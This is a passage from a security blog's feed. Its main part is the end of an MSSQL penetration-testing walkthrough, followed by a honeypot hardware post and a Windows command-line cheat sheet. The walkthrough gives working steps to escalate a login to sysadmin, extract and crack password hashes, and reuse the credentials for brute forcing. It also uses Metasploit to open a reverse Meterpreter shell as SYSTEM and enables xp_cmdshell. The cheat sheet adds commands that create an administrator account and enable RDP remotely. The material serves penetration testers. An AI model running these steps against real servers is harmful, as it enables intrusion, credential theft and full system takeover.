<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">create login travis with password='secret';</div></div>
<p>Create a table named pwned</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">create table pwned (owned int not null default 1337);</div></div>
<p>Determine current database</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT DB_NAME();</div></div>
<p>List all databases</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT name FROM master..sysdatabases;</div></div>
<p>Determine host name of PC the database is installed on</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT HOST_NAME();</div></div>
<p>Determine users with sysadmin rights</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">select loginname from syslogins where sysadmin = 1</div></div>
<p>Add user travis to the sysadmin role</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">exec sp_addsrvrolemember 'travis', 'sysadmin'</div></div>
<p>Now as an attacker I mentioned the three basic options of plunder database, use credentials for further access, and hosting malware. The commands above are examples of &#8220;plundering&#8221; the database and these commands merely scratch the surface. Another plundering idea would be to <a href="http://justgeeks.blogspot.com/2006/10/search-ms-sql-server-for-any-text.html" target="_blank">search all databases for &#8220;items of interest&#8221;</a>. Once you have credentials to the database you have plenty of options for plundering. The second step I mentioned was using your credentials for further access. Two things come to my mind which is cracking sql passwords and gaining access to the underlying OS that hosts the database. An attacker would want to know sql passwords because often those passwords are reused. That reuse includes other databases and possibly other credentials such as active directory credentials. The other piece of gaining access to the underlying OS of the database will allow you to do a number of things such as key logging, searching the file system, <a href="http://en.wikipedia.org/wiki/Pass_the_hash" target="_blank">pass the hash technique</a>, etc. So I&#8217;ll first discuss how to crack the encrypted passwords inside of a mssql database. Just so we&#8217;re on the same page a password is not supposed to be stored in <a href="http://en.wikipedia.org/wiki/Plaintext" target="_blank">clear text</a> in a database is suppose to be stored encrypted as a <a href="http://en.wikipedia.org/wiki/Cryptographic_hash_function" target="_blank">cryptographic hash</a>. Cryptographic hash is a fancy way of saying that the password cannot be easily determined and they encrypted value is commonly referred as a hash, not to be confused with the delicious food. So the next step is to get these hashes and crack&#8217;em.</p>
<p>Extract username and password hashes</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">select name, password_hash FROM master.sys.sql_logins</div></div>
<p>You should see something like the following</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">1&gt; select name, password_hash from master.sys.sql_logins<br />
2&gt; go<br />
<br />
name<br />
<br />
password_hash<br />
<br />
-----------------------------------------<br />
-----------------------------------------<br />
-----------------------------------------<br />
-----------------------------------------<br />
<br />
sa<br />
<br />
01004086ceb6e0bc04fe5027a51df29e1cf0b74dd3c33214d9db<br />
<br />
travis<br />
<br />
01007c5b54a91367647bb18d6efc4de8e9e3560037e39e9f712e</div></div>
<p>Now you can take that password hash and feed it into a password cracker such as<a href="http://www.openwall.com/john/" target="_blank"> john the ripper</a> but before you do that you&#8217;ll need to add a zero plus X &#8220;0x&#8221; to the beginning of the password hash. This needs to be done because john the ripper expects password hashes in certain formats and if you need to know what that format is for various types of hash functions then <a href="http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats" target="_blank">pentestmonkey</a> is a good resource for this type of information. So your modified hash with zero plus X in front should look like the following.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">0x01007c5b54a91367647bb18d6efc4de8e9e3560037e39e9f712e</div></div>
<p>Now put that into a text file so we can feed it to john the ripper, in this case I named it mssqlHash.txt. Next all you have to do is use the command &#8220;john&#8221; along with the file that contains the password hashes as below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:/pentest/passwords/john# john mssqlHash.txt<br />
Loaded 1 password hash (MS-SQL05 [ms-sql05 SSE2])<br />
secret &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (?)<br />
guesses: 1 &nbsp;time: 0:00:00:00 100.00% (2) (ETA: Fri Dec 16 01:18:56 2011) &nbsp;c/s: 400 &nbsp;trying: secret - service</div></div>
<p>Here john the ripper was able to crack this hash and determined the password was &#8220;secret&#8221;. So now that you&#8217;ve cracked some passwords on this database there&#8217;s a good chance that username and password will work on other databases within the environment you&#8217;re testing. Seeing how server and database admins like to keep things together that same username and password will probably work on another machine on the same vlan so just start nmap scanning to find those open ports then add the username and password you found into your medusa dictionary then let medusa do it&#8217;s brute forcing and hopefully you&#8217;ll find another database you can gain access to.</p>
<p>The last technique I&#8217;ll discuss is gaining access to the underlying operating system that the database is running on. Having sysadmin credentials on the database is awesome but having admin on the underlying operating system is even better. As I mentioned before the stored procedure xp_cmdshell is the best way to gain this kind of access but as you can see from the metasploit enum module xp_cmdshell isn&#8217;t always at our disposal. The xp_cmdshell was enabled by default on mssql 2000 but mssql 2005 and beyond by default does not enable this stored procedure. Even so a mssql 2000 database administrator could disable it as well. One way and maybe the easiest way is to use metasploits mssql_payload module to enable the xp_cmdshell and give you a meterpreter shell back. Below is the command you&#8217;ll need to run. You have to set at least the host you&#8217;re targeting (rhost) and the password of the &#8220;sa&#8221; account. This module will not work unless the user you&#8217;re authenticating with has sysadmin credentials, so the account doesn&#8217;t have to be &#8220;sa&#8221; but it has to be a user with a sysadmin role.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt; use exploit/windows/mssql/mssql_payload<br />
msf &nbsp;exploit(mssql_payload) &gt; set rhost 192.168.134.132<br />
rhost =&gt; 192.168.134.132<br />
msf &nbsp;exploit(mssql_payload) &gt; set password password<br />
password =&gt; password<br />
msf &nbsp;exploit(mssql_payload) &gt; exploit<br />
<br />
[*] Started reverse handler on 192.168.134.135:4444 <br />
[*] Command Stager progress - &nbsp; 1.47% done (1499/102246 bytes)<br />
[*] Command Stager progress - &nbsp; 2.93% done (2998/102246 bytes)<br />
snip<br />
.<br />
.<br />
[*] Command Stager progress - &nbsp;99.59% done (101827/102246 bytes)<br />
[*] Sending stage (752128 bytes) to 192.168.134.132<br />
[*] Command Stager progress - 100.00% done (102246/102246 bytes)<br />
[*] Meterpreter session 1 opened (192.168.134.135:4444 -&gt; 192.168.134.132:1046) at 2011-12-21 22:43:36 -0500<br />
<br />
meterpreter &gt;</div></div>
<p>So at this point we have a meterpreter command prompt on the target computer which is better than a regular windows command prompt. From here we can launch a number of attacks. I&#8217;m not going to touch on those for that just simply google &#8220;post exploitation&#8221; to get an idea of what you may want to accomplish next. At this point its a good idea to make sure you&#8217;re on the right computer and determine the types of credentials we have on our target machine. The following commands will determine that information.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">meterpreter &gt; ipconfig<br />
<br />
MS TCP Loopback interface<br />
Hardware MAC: 00:00:00:00:00:00<br />
IP Address &nbsp;: 127.0.0.1<br />
Netmask &nbsp; &nbsp; : 255.0.0.0<br />
<br />
Intel(R) PRO/1000 MT Network Connection<br />
Hardware MAC: 00:0c:29:4c:37:8e<br />
IP Address &nbsp;: 192.168.134.132<br />
Netmask &nbsp; &nbsp; : 255.255.255.0<br />
<br />
meterpreter &gt; getuid<br />
Server username: NT AUTHORITY\SYSTEM</div></div>
<p>So we&#8217;re on the correct computer and we have &#8220;system&#8221; credentials which is the highest credentials you can have on a windows platform. Great success. At the heart of this metasploit module is some sql commands that will enable the xp_cmdshell. If you wanted to manually enable xp_cmdshell you could enter the sql commands below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">1&gt; SP_CONFIGURE 'show advanced options', 1<br />
2&gt; go<br />
Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.<br />
(return status = 0)<br />
1&gt; reconfigure<br />
2&gt; go<br />
1&gt; SP_CONFIGURE 'xp_cmdshell', 1<br />
2&gt; go<br />
Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.<br />
(return status = 0)<br />
1&gt; reconfigure<br />
2&gt; go<br />
1&gt;</div></div>
<p>That&#8217;s all folks, more could be covered here but this will get you started. Once again I haven&#8217;t covered anything new here and this documentation is meant to capture some of the common tasks that need to be completed when testing mssql. Hope this helps and happy mssql hunting.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/N6L2dmdbYO0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/pen-test-and-hack-microsoft-sql-server-mssql/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://travisaltman.com/pen-test-and-hack-microsoft-sql-server-mssql/</feedburner:origLink></item>
		<item>
		<title>Honeypot / honeyd tutorial part 4, hardware</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/zo-9V-RTLwE/</link>
		<comments>http://travisaltman.com/honeypot-honeyd-tutorial-part-4-hardware/#comments</comments>
		<pubDate>Sat, 12 Nov 2011 04:18:11 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[honeypot]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=435</guid>
		<description><![CDATA[So up to this point you&#8217;ve probably only ran honeyd on your laptop or desktop machine. If you want to get the most out of honeyd then you&#8217;ll probably want to run it on either a server or an embedded device. In the beginning of this series I mentioned you could run a honeypot in [...]]]></description>
			<content:encoded><![CDATA[<p>So up to this point you&#8217;ve probably only ran honeyd on your laptop or desktop machine. If you want to get the most out of honeyd then you&#8217;ll probably want to run it on either a server or an embedded device. In the beginning of this series I mentioned you could run a honeypot in a number of ways. Two of the ways I mentioned was to attract malware to a vulnerable system so that you can analyze the latest and greatest malware. The other way was to attract attackers on your network. In my series I&#8217;m going to keep the focus on detecting attackers on the local network and not trying to find new malware. The <a href="http://www.honeynet.org/">honeynet project</a> already does a great job of tracking down the latest and greatest malware so check that project out.</p>
<p>If you&#8217;re going to use honeyd to detect attackers on your local network then you&#8217;ll need to place your honeypot as close to your networking equipment as possible. This being the case a racked server or small device with numerous network interfaces will likely be the best solution. A racked server didn&#8217;t make much sense for my solution mainly due to the cost but a small embedded device would need good specs to make a good solution. I found a couple of solutions.</p>
<p>First the option that I went with to implement my honeypot running honeyd. <a href="http://soekris.com/products/net5501.html" target="_blank">The Soekris Net5501</a>.</p>
<p><a href="http://travisaltman.com/wp-content/net5501_BC_front_overview.jpg"><img class="aligncenter size-full wp-image-436" title="net5501_BC_front_overview.jpg" src="http://travisaltman.com/wp-content/net5501_BC_front_overview.jpg" alt="" width="500" height="192" /></a></p>
<p><a href="http://travisaltman.com/wp-content/net5501_BC_back_overview.jpg"><img class="aligncenter size-full wp-image-437" title="net5501_BC_back_overview" src="http://travisaltman.com/wp-content/net5501_BC_back_overview.jpg" alt="" width="500" height="192" /></a></p>
<p>The great thing about the Soekris is that it has four network interfaces. This allows you access to four different vlans within your environment. Out of the box it comes with the ability to load an OS on compact flash, which is the option that I went with. You could also get a PCI extension that could be fitted with a hard drive. If your install of a honeypot would require large data storage then you&#8217;ll need to think about that option. I did not care about data storage, I simply wanted an alert when honeyd saw something come across the wire. Besides even if you needed storage you could have honeyd ship off that data / logs to a centralized location. For $250 bucks this is a great solution. You won&#8217;t find to many small devices like this that have four network interfaces. Now you could get a full rack system with plenty of network interfaces but then your cost goes up. More network interfaces would mean that you have access to more vlans so if that&#8217;s important to you then you&#8217;ll have to plan accordingly. This is setup is not meant to cover your entire organization just a handful of important vlans. Below is a diagram of a potential setup.</p>
<p><a href="http://travisaltman.com/wp-content/soekrisDiagram.png"><img class="aligncenter size-full wp-image-440" title="soekrisDiagram" src="http://travisaltman.com/wp-content/soekrisDiagram.png" alt="" width="558" height="373" /></a></p>
<p>In this setup you can place a honeyd host on four different vlans looking for any devices that connect to your honeypot when they should have no business connecting to your honeypot. Keep in mind this is not meant to be an intrusion detection replacement. This solution will ride on top of your existing intrusion detection. Besides most intrusion detection setups that I&#8217;ve seen don&#8217;t monitor activity inside a particular vlan much less traffic between vlans. The setup I&#8217;ve described here is meant to monitor vlans with important assests and data. So in the scenario above you would have to connect your Soekris device to a &#8220;core&#8221; router that has the vlans you want to monitor. You could also connect the Soekris device to multiple routers if those vlans are mananged by different routers. There are numerous ways to tackle a problem that I&#8217;ve described but this is just one of those ways.</p>
<p>There is another device that I believe is very handy in these types of situations and that&#8217;s the <a href="http://pcengines.ch/alix.htm" target="_blank">Alix boards by PC Engines</a>. If you want to buy one I would recomend <a href="http://store.netgate.com/PC-Engines-C69.aspx" target="_blank">NetGate</a> which also has other options such as enclosures and lots of other wireless goodness. The Alix board plus enclosure is very small, about the same size of a home wireless router. Below is an Alix board without the enclosure.</p>
<p><a href="http://travisaltman.com/wp-content/ALIX_2D13.jpg"><img class="aligncenter size-full wp-image-441" title="ALIX_2D13" src="http://travisaltman.com/wp-content/ALIX_2D13.jpg" alt="" width="340" height="340" /></a></p>
<p>You can buy them with a number of configurations, the one above has three network interfaces, one compact flash, one mini pci, plus a cpu and RAM. So no hard drive but you can easily run your OS on the compact flash. Of course the OS of choice should be Linux. Hopefully this answers the question as to what hardware you might could use for your installation of a honeypot in your organization&#8217;s environment. Unless you do everything at your organization this type of work will require you to work closely with your network engineering team. That&#8217;s all I have, I&#8217;d love to hear from others on how they have their honeypots setup and what hardware is powering that setup. Please comment if you have a question.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/zo-9V-RTLwE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/honeypot-honeyd-tutorial-part-4-hardware/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://travisaltman.com/honeypot-honeyd-tutorial-part-4-hardware/</feedburner:origLink></item>
		<item>
		<title>One liner commands for windows – cheat sheet</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/okaOENTVDig/</link>
		<comments>http://travisaltman.com/one-liner-commands-for-windows-cheat-sheet/#comments</comments>
		<pubDate>Tue, 04 Oct 2011 02:18:34 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=427</guid>
		<description><![CDATA[Remotely determine logged in user
wmic /node:remotecomputer computersystem get username
List running processes
wmic process list brief
Kill a process
wmic process where name=&#34;cmd.exe&#34; delete
Determine open shares
net share
wmic share list brief
Determine IP address
ipconfig
Get a new IP address
ipconfig /release
ipconfig /renew
Remotely display machine&#8217;s MAC address
wmic /node:machinename nic get macaddress
Remotely list running processes every second
wmic /node:machinename process list brief /every:1
Remotely display System Info
wmic [...]]]></description>
			<content:encoded><![CDATA[<p>Remotely determine logged in user</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:remotecomputer computersystem get username</div></div>
<p>List running processes</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic process list brief</div></div>
<p>Kill a process</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic process where name=&quot;cmd.exe&quot; delete</div></div>
<p>Determine open shares</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net share<br />
wmic share list brief</div></div>
<p>Determine IP address</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">ipconfig</div></div>
<p>Get a new IP address</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">ipconfig /release<br />
ipconfig /renew</div></div>
<p>Remotely display machine&#8217;s MAC address</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename nic get macaddress</div></div>
<p>Remotely list running processes every second</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename process list brief /every:1</div></div>
<p>Remotely display System Info</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename computersystem list full</div></div>
<p>Disk drive information</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic diskdrive list full<br />
wmic partition list full</div></div>
<p>Bios info</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic bios list full</div></div>
<p>List all patches</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic qfe</div></div>
<p>Look for a particular patch</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic qfe where hotfixid=&quot;KB958644&quot; list full</div></div>
<p>Remotely List Local Enabled Accounts</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename USERACCOUNT WHERE &quot;Disabled=0 AND LocalAccount=1&quot; GET Name</div></div>
<p>Start a service remotely</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename 4 service lanmanserver CALL Startservice<br />
sc \\machinename start lanmanserver</div></div>
<p>List services</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic service list brief<br />
sc \\machinename query</div></div>
<p>Disable startup service</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sc config example disabled</div></div>
<p>List user accounts</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic useraccount list brief</div></div>
<p>Enable RDP remotely</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:&quot;machinename 4&quot; path Win32_TerminalServiceSetting where AllowTSConnections=“0” call SetAllowTSConnections “1”</div></div>
<p>List number of times a user logged on</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic netlogin where (name like &quot;%adm%&quot;) get numberoflogons</div></div>
<p>Query active RDP sessions</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">qwinsta /server:192.168.1.1</div></div>
<p>Remove active RDP session ID 2</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">rwinsta /server:192.168.1.1 2</div></div>
<p>Remotely query registry for last logged in user</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">reg query &quot;\\computername\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon&quot; /v DefaultUserName</div></div>
<p>List all computers in domain &#8220;blah&#8221;</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">dsquery computer &quot;OU=example,DC=blah&quot; -o rdn -limit 6000 &amp;gt; output.txt</div></div>
<p>Reboot</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">shutdown /r /t 0</div></div>
<p>Shutdown</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">shutdown /s /t 0</div></div>
<p>Remotely reboot machine</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">shutdown /m \\192.168.1.1 /r /t 0 /f</div></div>
<p>Copy entire folder and its contents from a remote source to local machine</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">xcopy /s \\remotecomputer\directory c:\local</div></div>
<p>Find location of file with string &#8220;blah&#8221; in file name</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">dir c:\ /s /b | find &quot;blah&quot;</div></div>
<p>Spawn a new command prompt</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">start cmd</div></div>
<p>Determine name of a machine with known IP</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">nbtstat -A 192.168.1.1</div></div>
<p>Find directory named blah</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">dir c:\ /s /b /ad | find &quot;blah&quot;</div></div>
<p>Command line history</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">F7</div></div>
<p>Determine the current user (aka whoami Linux equivalent)</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">echo %USERNAME%</div></div>
<p>Determine who is apart of the administrators group</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net localgroup administrators</div></div>
<p>Add a user where travis is the username and password is blah</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net user travis blah /add</div></div>
<p>Add user travis to administrators group</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net localgroup administrators travis /add</div></div>
<p>List user accounts</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net user</div></div>
<p>Map a network share with a given drive letter of T:</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net use T: \\serverNameOrIP\shareName</div></div>
<p>List network connections and the programs that are making those connections</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">netstat -nba</div></div>
<p>Display contents of file text.txt</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">type text.txt</div></div>
<p>Edit contents of file text.txt</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">edit text.txt</div></div>
<p>Determine PC name</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">hostname</div></div>
<p>Run cmd.exe as administrator user</p>
